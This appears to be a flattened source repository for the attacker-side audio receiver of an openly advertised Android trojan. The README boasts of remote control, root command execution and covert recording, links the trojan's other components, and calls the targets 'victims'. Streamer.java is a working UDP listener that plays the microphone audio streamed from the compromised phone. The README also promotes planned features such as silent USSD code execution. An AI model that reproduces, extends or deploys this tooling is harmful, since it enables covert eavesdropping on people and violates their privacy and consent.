├── .classpath ├── .gitignore ├── .project ├── .settings └── org.eclipse.jdt.core.prefs ├── README.md └── src └── com └── example └── streamer └── Streamer.java /.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /bin/ 2 | -------------------------------------------------------------------------------- /.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | trojan_streamer 4 | 5 | 6 | 7 | 8 | 9 | org.eclipse.jdt.core.javabuilder 10 | 11 | 12 | 13 | 14 | 15 | org.eclipse.jdt.core.javanature 16 | 17 | 18 | -------------------------------------------------------------------------------- /.settings/org.eclipse.jdt.core.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled 3 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8 4 | org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve 5 | org.eclipse.jdt.core.compiler.compliance=1.8 6 | org.eclipse.jdt.core.compiler.debug.lineNumber=generate 7 | org.eclipse.jdt.core.compiler.debug.localVariable=generate 8 | org.eclipse.jdt.core.compiler.debug.sourceFile=generate 9 | org.eclipse.jdt.core.compiler.problem.assertIdentifier=error 10 | org.eclipse.jdt.core.compiler.problem.enumIdentifier=error 11 | org.eclipse.jdt.core.compiler.source=1.8 12 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Android Trojan (Built with Android SDK 22) source code 2 | The main manual is here: https://github.com/androidtrojan1/android-trojan-service- 3 | UPD. 11.02.2016 Version 1.2 released! 4 | 5 | DESCRIPTION: 6 | 7 | 8 | 9 | This is the source of executable .jar file that is used for recieving of sound stream from the mic of the victim's device in real time. 10 | First you need to execute the command "stream [your_ip_address] [your_desired_listening_port]" and if it started it will show you 11 | the neccessary buffer size and port that you should pass as argument. 12 | 13 | Example of usage: 14 | java -jar streamer.jar bufsize port 15 | 16 | for instance (java - jar streamer.jar 8192 31337) 17 | 18 | IMPORTANT!!! 19 | Dont forget to set up the firewall rule or just completely disable it for a while (the UDP port will be used for listening) 20 | And you will also need to set up IP forwarding if you are bihind a firewall. 21 | 22 | HERE ARE LINKS TO THE OTHER COMPONENTS: 23 | 24 | trojan service apk: https://github.com/androidtrojan1/android-trojan-service- 25 | 26 | trojan starter apk : https://github.com/androidtrojan1/android-trojan-starter- 27 | 28 | trojan php server part: https://github.com/androidtrojan1/android-trojan-php-server 29 | 30 | 31 | 32 | Android trojan with abilities of remote control,root commands execution, recording and online sound streaming 33 | 34 | Compatible with all Android from Gingerbread (API 10) up to Lollipop (API 22) 35 | 36 | 37 | 38 | 39 | 40 | have fun! 41 | 42 | Upd. 11.09.2016 New Update is coming. New features in the upcoming version: 43 | * Telegram real-time notifications about victim's actions 44 | * silent execution of ussd codes 45 | * more interesting root features ^^ 46 | -------------------------------------------------------------------------------- /src/com/example/streamer/Streamer.java: -------------------------------------------------------------------------------- 1 | package com.example.streamer; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.net.DatagramPacket; 5 | import java.net.DatagramSocket; 6 | 7 | import javax.sound.sampled.AudioFormat; 8 | import javax.sound.sampled.AudioInputStream; 9 | import javax.sound.sampled.AudioSystem; 10 | import javax.sound.sampled.DataLine; 11 | import javax.sound.sampled.FloatControl; 12 | import javax.sound.sampled.SourceDataLine; 13 | 14 | class Streamer { 15 | 16 | AudioInputStream audioInputStream; 17 | static AudioInputStream ais; 18 | static AudioFormat format; 19 | static boolean status = true; 20 | static int port = 50005; 21 | static int sampleRate = 44100; 22 | static int bufsize = 8192; 23 | public static void main(String args[]) throws Exception { 24 | if(args.length==2){ 25 | try{bufsize = Integer.parseInt(args[0]);} catch(Exception e){System.out.println("wrong bufsize!");return;} 26 | try{port = Integer.parseInt(args[1]);} catch(Exception e){System.out.println("wrong port!");return;} 27 | DatagramSocket serverSocket = new DatagramSocket(port); 28 | DataLine.Info dataLineInfo = new DataLine.Info(SourceDataLine.class, format); 29 | SourceDataLine sourceDataLine = (SourceDataLine) AudioSystem.getLine(dataLineInfo); 30 | 31 | byte[] receiveData = new byte[bufsize]; 32 | // ( 1280 for 16 000Hz and 3584 for 44 100Hz (use AudioRecord.getMinBufferSize(sampleRate, channelConfig, audioFormat) to get the correct size) 33 | 34 | format = new AudioFormat(sampleRate, 16, 1, true, false); 35 | 36 | while (status == true) { 37 | DatagramPacket receivePacket = new DatagramPacket(receiveData, 38 | receiveData.length); 39 | serverSocket.receive(receivePacket); 40 | ByteArrayInputStream baiss = new ByteArrayInputStream( 41 | receivePacket.getData()); 42 | ais = new AudioInputStream(baiss, format, receivePacket.getLength()); 43 | // A thread solve the problem of chunky audio 44 | new Thread(new Runnable() { 45 | @Override 46 | public void run() { 47 | toSpeaker(receivePacket.getData(),sourceDataLine); 48 | } 49 | }).start(); 50 | } 51 | serverSocket.close(); 52 | } 53 | else{ 54 | System.out.println("usage this.jar bufsize port"); 55 | } 56 | } 57 | 58 | public static void toSpeaker(byte soundbytes[],SourceDataLine sourceDataLine) { 59 | try { 60 | sourceDataLine.open(format); 61 | FloatControl volumeControl = (FloatControl) sourceDataLine.getControl(FloatControl.Type.MASTER_GAIN); 62 | volumeControl.setValue(volumeControl.getMaximum()); 63 | sourceDataLine.start(); 64 | sourceDataLine.open(format); 65 | sourceDataLine.start(); 66 | sourceDataLine.write(soundbytes, 0, soundbytes.length); 67 | sourceDataLine.drain(); 68 | sourceDataLine.close(); 69 | } catch (Exception e) { 70 | System.out.println("Not working in speakers..."); 71 | e.printStackTrace(); 72 | } 73 | } 74 | } --------------------------------------------------------------------------------